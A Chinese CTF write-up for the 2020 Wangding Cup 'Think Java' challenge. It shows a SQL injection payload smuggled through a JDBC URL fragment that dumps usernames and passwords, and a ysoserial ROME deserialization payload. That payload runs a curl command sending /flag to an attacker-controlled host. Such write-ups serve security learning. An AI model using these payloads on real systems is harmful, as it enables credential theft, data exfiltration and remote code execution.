Java安全-Java In CTF[网鼎杯 2020 朱雀组]Think Java

488 阅读1分钟

持续创作,加速成长!这是我参与「掘金日新计划 · 6 月更文挑战」的第12天,点击查看活动详情

[网鼎杯 2020 朱雀组]Think Java

给了附件,一些 class 文件,放到 idea 中

image-20220504200810866

扫目录也可以发现 swagger-ui,可以获取所有 api

/swagger-ui.html

image-20220504200909599

具体分析 sqlDict

image-20220504201434420

dbName 值可控

image-20220504201444681

在上面代码中调用了 SqlDict.getTableData

image-20220504201630935

可以发现 dbName 没有过滤直接参与了 SQL 语句进行数据查询,所以这里存在 SQL 注入

同时需要满足 jdbc 协议的连接不能出错

image-20220504201830219

JDBC 的 URL 也类似 http 请求中的 URL,也可以使用锚点 # 或者 ? 如:jdbc:mysql://mysqldbserver:3306/myapp#’ union select 2#

构造 payload

#' union select group_concat(name,0x3a,pwd)from user#

image-20220504202410449

这样的话就拿到了用户账号和密码,使用账号密码登录

image-20220504202732605

登录成功返回序列化字符串

image-20220504202758554

rO0AB 开头的字符串,很明显 Base64 加密后的 Java 序列化数据字符串

还有最后一个接口 /common/user/current,把字符串放到这里

image-20220504202951352

image-20220504203011091

这里就应该就是将序列化后的数据直接反序列化

最后使用 yso 生成 payload

java -jar yso*-all.jar ROME "curl http://ip:port -d @/flag" |base64

最终 payload

Bearer rO0ABXNyABFqYXZhL.......

去 current 打,在 vps 监听对应端口

image-20220504213943202

参考:

大赛上的Java题复现